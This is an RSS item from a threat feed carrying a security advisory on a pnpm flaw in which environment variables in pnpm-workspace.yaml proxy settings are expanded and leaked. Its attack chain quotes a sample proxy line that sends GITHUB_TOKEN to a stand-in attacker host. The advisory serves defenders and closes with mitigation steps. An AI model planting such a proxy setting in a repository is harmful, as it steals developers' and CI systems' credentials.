<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:webfeeds="http://webfeeds.org/rss/1.0"><channel><title>Pnpm - CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/tags/pnpm/</link><description>Trending threats, MITRE ATT&amp;CK coverage, and detection metadata. Fed continuously.</description><generator>Hugo</generator><language>en</language><managingEditor>hello@craftedsignal.io</managingEditor><webMaster>hello@craftedsignal.io</webMaster><lastBuildDate>Wed, 02 Sep 2026 00:01:10 +0000</lastBuildDate><atom:link href="https://feed.craftedsignal.io/tags/pnpm/feed.xml" rel="self" type="application/rss+xml"/><image><url>https://feed.craftedsignal.io/favicon-32x32.png</url><title>CraftedSignal Threat Feed</title><link>https://feed.craftedsignal.io/</link><width>32</width><height>32</height></image><webfeeds:icon>https://feed.craftedsignal.io/favicon.svg</webfeeds:icon><item><title>Environment Secret Exfiltration via pnpm-workspace.yaml Proxy Settings</title><link>https://feed.craftedsignal.io/briefs/2026-09-pnpm-secret-exfiltration/</link><pubDate>Wed, 02 Sep 2026 00:01:10 +0000</pubDate><author>hello@craftedsignal.io</author><guid isPermaLink="true">https://feed.craftedsignal.io/briefs/2026-09-pnpm-secret-exfiltration/</guid><description>A vulnerability in pnpm allows local environment variable exfiltration when a user executes 'pnpm install' in a malicious repository containing a crafted 'pnpm-workspace.yaml' file.</description><content:encoded><![CDATA[<p>pnpm versions 10.7.0 through 10.34.4 and 11.0.0 through 11.10.9 are susceptible to an environment variable exfiltration vulnerability. The issue occurs because pnpm expands environment variable placeholders (e.g., <code>${NPM_TOKEN}</code>) within <code>httpProxy</code>, <code>httpsProxy</code>, <code>noProxy</code>, <code>proxy</code>, and <code>noproxy</code> settings when read from a project's <code>pnpm-workspace.yaml</code> file.</p>
<p>Because these manifest files are controlled by repository authors, an attacker can commit a malicious <code>pnpm-workspace.yaml</code> to a public repository or provide it as part of a supply-chain attack. When a developer or CI/CD system clones the repository and executes <code>pnpm install</code>, the tool parses the proxy settings and expands the environment variables. The resulting value, containing the secret, is used to route installation traffic through an attacker-controlled proxy server. The sensitive data is leaked through the hostname or user-info portion of the connection, which is visible to the attacker-controlled proxy or the authoritative DNS resolver. This occurs during the configuration loading phase, before any project lifecycle scripts are executed.</p>
<h2 id="attack-chain">Attack Chain</h2>
<ol>
<li>Attacker creates a malicious repository containing a custom <code>pnpm-workspace.yaml</code> file.</li>
<li>The <code>pnpm-workspace.yaml</code> includes a proxy setting, such as <code>httpsProxy: &quot;http://${GITHUB_TOKEN}.collector.attacker.example.com&quot;</code>.</li>
<li>A victim clones the repository or pulls a malicious branch containing the workspace manifest.</li>
<li>The victim executes <code>pnpm install</code> within the root of the repository.</li>
<li>The pnpm process reads the <code>pnpm-workspace.yaml</code> and processes the proxy configuration.</li>
<li>The process expands the environment variable placeholder <code>${GITHUB_TOKEN}</code> with the actual secret from the victim's environment.</li>
<li>pnpm attempts to route network traffic through the hostname identified in the proxy string, triggering an external DNS request and connection attempt.</li>
<li>The attacker captures the sensitive environment secret from the DNS query or proxy request headers.</li>
</ol>
<h2 id="impact">Impact</h2>
<p>Successful exploitation results in the exfiltration of sensitive environment variables such as <code>NPM_TOKEN</code> or <code>GITHUB_TOKEN</code> from the victim's local machine or CI/CD environment. This exposure can grant attackers unauthorized access to private package registries, version control systems, or other integrated services, potentially enabling further supply-chain attacks or source code theft. The vulnerability affects all users of pnpm versions within the specified ranges, regardless of their operating system.</p>
<h2 id="recommendation">Recommendation</h2>
<p>Prioritized actions for security teams:</p>
<ul>
<li>Immediately upgrade all pnpm instances to version 11.11.0 or 10.34.5 and later.</li>
<li>Implement a policy to inspect <code>pnpm-workspace.yaml</code> files for proxy configurations in untrusted or newly cloned repositories before executing installation commands.</li>
<li>In CI/CD pipelines, ensure that pnpm is executed in environments with restricted network egress, and avoid injecting high-privilege secrets into the shell environment where package managers are executed.</li>
<li>Audit environment variables used in CI/CD pipelines to identify sensitive tokens that might be targeted by this technique.</li>
</ul>
]]></content:encoded><category domain="severity">high</category><category domain="type">advisory</category><category>supply-chain</category><category>exfiltration</category><category>pnpm</category></item></channel></rss>